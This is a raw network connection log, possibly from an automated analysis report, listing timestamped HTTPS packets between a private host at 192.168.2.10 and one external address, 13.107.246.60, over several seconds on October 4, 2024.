Oct 4, 2024 15:53:59.959770918 CEST	49873	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.959777117 CEST	443	49873	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.963112116 CEST	49878	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.963148117 CEST	443	49878	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.963181973 CEST	49877	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.963190079 CEST	443	49877	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.963237047 CEST	49878	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.963260889 CEST	49877	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.963421106 CEST	49878	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.963435888 CEST	443	49878	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.963449001 CEST	49877	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.963466883 CEST	443	49877	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.024521112 CEST	443	49872	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.024554014 CEST	443	49872	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.024610996 CEST	443	49872	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.024633884 CEST	49872	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.024725914 CEST	49872	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.025541067 CEST	49872	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.025541067 CEST	49872	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.025553942 CEST	443	49872	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.025563002 CEST	443	49872	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.028580904 CEST	49879	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.028605938 CEST	443	49879	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.028675079 CEST	49879	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.028842926 CEST	49879	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.028852940 CEST	443	49879	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.182626009 CEST	443	49875	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.183300018 CEST	49875	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.183320045 CEST	443	49875	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.183871031 CEST	49875	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.183876991 CEST	443	49875	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.285609961 CEST	443	49875	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.285939932 CEST	443	49875	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.287101984 CEST	49875	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.287136078 CEST	49875	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.287157059 CEST	443	49875	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.287174940 CEST	49875	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.287180901 CEST	443	49875	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.290704012 CEST	49880	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.290739059 CEST	443	49880	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.290829897 CEST	49880	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.290993929 CEST	49880	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.291007042 CEST	443	49880	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.542644024 CEST	443	49876	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.543550968 CEST	49876	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.543564081 CEST	443	49876	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.544019938 CEST	49876	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.544023991 CEST	443	49876	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.595451117 CEST	443	49878	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.596527100 CEST	49878	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.596548080 CEST	443	49878	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.596996069 CEST	49878	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.597002983 CEST	443	49878	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.603015900 CEST	443	49877	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.603432894 CEST	49877	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.603444099 CEST	443	49877	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.603969097 CEST	49877	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.603972912 CEST	443	49877	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.642492056 CEST	443	49876	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.642508984 CEST	443	49876	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.642559052 CEST	443	49876	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.642597914 CEST	49876	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.642858982 CEST	49876	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.642878056 CEST	443	49876	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.642889977 CEST	49876	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.642896891 CEST	443	49876	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.646096945 CEST	49881	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.646141052 CEST	443	49881	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.646209955 CEST	49881	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.646401882 CEST	49881	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.646408081 CEST	443	49881	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.697896957 CEST	443	49878	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.697927952 CEST	443	49878	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.697968960 CEST	443	49878	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.698012114 CEST	49878	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.698060036 CEST	49878	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.698211908 CEST	49878	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.698231936 CEST	443	49878	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.698242903 CEST	49878	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.698247910 CEST	443	49878	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.701126099 CEST	49882	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.701148987 CEST	443	49882	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.701777935 CEST	49882	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.702004910 CEST	49882	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.702014923 CEST	443	49882	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.704118967 CEST	443	49877	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.704143047 CEST	443	49877	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.704188108 CEST	443	49877	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.704204082 CEST	49877	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.704233885 CEST	49877	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.704303980 CEST	49877	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.704308987 CEST	443	49877	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.704313993 CEST	49877	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.704318047 CEST	443	49877	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.705759048 CEST	443	49879	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.706507921 CEST	49883	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.706543922 CEST	443	49883	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.706784964 CEST	49879	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.706796885 CEST	443	49879	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.706816912 CEST	49883	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.707247019 CEST	49883	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.707263947 CEST	443	49883	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.707279921 CEST	49879	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.707285881 CEST	443	49879	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.812872887 CEST	443	49879	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.812961102 CEST	443	49879	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.813011885 CEST	49879	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.813246012 CEST	49879	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.813258886 CEST	443	49879	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.813267946 CEST	49879	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.813271999 CEST	443	49879	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.817687035 CEST	49884	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.817732096 CEST	443	49884	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.817943096 CEST	49884	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.818087101 CEST	49884	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.818098068 CEST	443	49884	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.948786020 CEST	443	49880	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.949964046 CEST	49880	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.949982882 CEST	443	49880	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:00.950429916 CEST	49880	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:00.950436115 CEST	443	49880	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.050896883 CEST	443	49880	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.051332951 CEST	443	49880	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.051393986 CEST	443	49880	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.051451921 CEST	49880	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.051803112 CEST	49880	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.051820040 CEST	443	49880	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.051831007 CEST	49880	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.051836967 CEST	443	49880	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.065788031 CEST	49885	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.065833092 CEST	443	49885	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.065922022 CEST	49885	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.069606066 CEST	49885	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.069623947 CEST	443	49885	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.314163923 CEST	443	49881	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.315076113 CEST	49881	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.315109968 CEST	443	49881	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.315545082 CEST	49881	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.315553904 CEST	443	49881	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.346204996 CEST	443	49882	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.346674919 CEST	49882	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.346699953 CEST	443	49882	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.347129107 CEST	49882	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.347137928 CEST	443	49882	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.400381088 CEST	443	49883	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.400844097 CEST	49883	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.400871992 CEST	443	49883	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.401328087 CEST	49883	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.401333094 CEST	443	49883	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.417870045 CEST	443	49881	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.418721914 CEST	443	49881	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.418788910 CEST	49881	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.418840885 CEST	49881	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.418859005 CEST	443	49881	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.418870926 CEST	49881	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.418876886 CEST	443	49881	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.421439886 CEST	49886	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.421479940 CEST	443	49886	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.421545982 CEST	49886	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.421720028 CEST	49886	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.421726942 CEST	443	49886	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.445410967 CEST	443	49882	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.445441961 CEST	443	49882	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.445513010 CEST	443	49882	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.445571899 CEST	49882	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.445749998 CEST	49882	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.445771933 CEST	443	49882	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.445781946 CEST	49882	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.445787907 CEST	443	49882	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.448599100 CEST	49887	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.448641062 CEST	443	49887	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.448702097 CEST	49887	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.448863029 CEST	49887	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.448879004 CEST	443	49887	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.451679945 CEST	443	49884	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.452297926 CEST	49884	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.452318907 CEST	443	49884	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.452754974 CEST	49884	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.452759027 CEST	443	49884	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.512839079 CEST	443	49883	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.512862921 CEST	443	49883	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.512913942 CEST	443	49883	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.512950897 CEST	49883	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.512989044 CEST	49883	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.513278008 CEST	49883	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.513298988 CEST	443	49883	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.513334990 CEST	49883	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.513340950 CEST	443	49883	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.516235113 CEST	49888	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.516271114 CEST	443	49888	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.516745090 CEST	49888	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.516932011 CEST	49888	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.516947031 CEST	443	49888	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.550425053 CEST	443	49884	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.550610065 CEST	443	49884	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.550654888 CEST	443	49884	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.550714970 CEST	49884	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.550770998 CEST	49884	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.550780058 CEST	443	49884	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.550791025 CEST	49884	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.550796032 CEST	443	49884	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.556162119 CEST	49889	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.556190014 CEST	443	49889	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.556263924 CEST	49889	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.556422949 CEST	49889	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.556436062 CEST	443	49889	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.744898081 CEST	443	49885	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.745418072 CEST	49885	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.745457888 CEST	443	49885	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.745929003 CEST	49885	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.745937109 CEST	443	49885	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.855650902 CEST	443	49885	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.856364965 CEST	443	49885	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.856528997 CEST	49885	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.856563091 CEST	49885	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.856580019 CEST	443	49885	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.856590033 CEST	49885	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.856595039 CEST	443	49885	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.859514952 CEST	49890	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.859543085 CEST	443	49890	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:01.859603882 CEST	49890	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.859769106 CEST	49890	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:01.859781981 CEST	443	49890	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.058192968 CEST	443	49886	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.058923006 CEST	49886	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.058948994 CEST	443	49886	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.059595108 CEST	49886	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.059601068 CEST	443	49886	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.130266905 CEST	443	49887	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.130748034 CEST	49887	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.130764008 CEST	443	49887	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.131210089 CEST	49887	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.131216049 CEST	443	49887	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.164268017 CEST	443	49888	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.165081024 CEST	49888	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.165108919 CEST	443	49888	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.165591955 CEST	49888	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.165599108 CEST	443	49888	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.171333075 CEST	443	49886	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.171670914 CEST	443	49886	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.171736956 CEST	49886	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.171786070 CEST	49886	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.171807051 CEST	443	49886	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.171818018 CEST	49886	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.171823978 CEST	443	49886	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.174434900 CEST	49891	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.174484968 CEST	443	49891	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.174559116 CEST	49891	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.174770117 CEST	49891	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.174774885 CEST	443	49891	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.244674921 CEST	443	49889	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.245254040 CEST	49889	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.245281935 CEST	443	49889	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.245748043 CEST	49889	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.245754957 CEST	443	49889	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.246870995 CEST	443	49887	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.247054100 CEST	443	49887	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.247112989 CEST	49887	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.247224092 CEST	49887	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.247241020 CEST	443	49887	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.247251034 CEST	49887	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.247256041 CEST	443	49887	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.251980066 CEST	49892	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.252023935 CEST	443	49892	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.252110958 CEST	49892	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.252475023 CEST	49892	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.252492905 CEST	443	49892	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.268604994 CEST	443	49888	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.268637896 CEST	443	49888	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.268691063 CEST	443	49888	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.268707037 CEST	49888	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.268740892 CEST	49888	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.271910906 CEST	49888	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.271919966 CEST	443	49888	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.271929979 CEST	49888	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.271934032 CEST	443	49888	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.282394886 CEST	49893	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.282437086 CEST	443	49893	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.282510996 CEST	49893	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.282776117 CEST	49893	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.282789946 CEST	443	49893	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.358927011 CEST	443	49889	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.359616041 CEST	443	49889	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.359682083 CEST	49889	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.359716892 CEST	49889	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.359716892 CEST	49889	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.359734058 CEST	443	49889	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.359741926 CEST	443	49889	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.362230062 CEST	49894	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.362247944 CEST	443	49894	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.362330914 CEST	49894	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.362457991 CEST	49894	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.362462997 CEST	443	49894	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.525959015 CEST	443	49890	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.526568890 CEST	49890	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.526598930 CEST	443	49890	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.527070999 CEST	49890	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.527077913 CEST	443	49890	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.628875017 CEST	443	49890	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.629122019 CEST	443	49890	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.629179955 CEST	443	49890	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.629231930 CEST	49890	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.629271030 CEST	49890	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.629841089 CEST	49890	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.629867077 CEST	443	49890	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.629878044 CEST	49890	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.629884005 CEST	443	49890	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.642550945 CEST	49895	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.642601013 CEST	443	49895	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.642669916 CEST	49895	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.642841101 CEST	49895	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.642848969 CEST	443	49895	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.823559999 CEST	443	49891	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.824321032 CEST	49891	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.824337006 CEST	443	49891	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.824850082 CEST	49891	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.824856997 CEST	443	49891	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.931543112 CEST	443	49891	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.931615114 CEST	443	49891	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.931660891 CEST	49891	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.931957960 CEST	49891	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.931974888 CEST	443	49891	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.931988001 CEST	49891	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.931993961 CEST	443	49891	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.937021971 CEST	49896	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.937071085 CEST	443	49896	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.937155008 CEST	49896	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.937403917 CEST	49896	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.937412977 CEST	443	49896	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.947444916 CEST	443	49892	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.948407888 CEST	49892	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.948425055 CEST	443	49892	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.949223042 CEST	49892	443	192.168.2.10	13.107.246.60
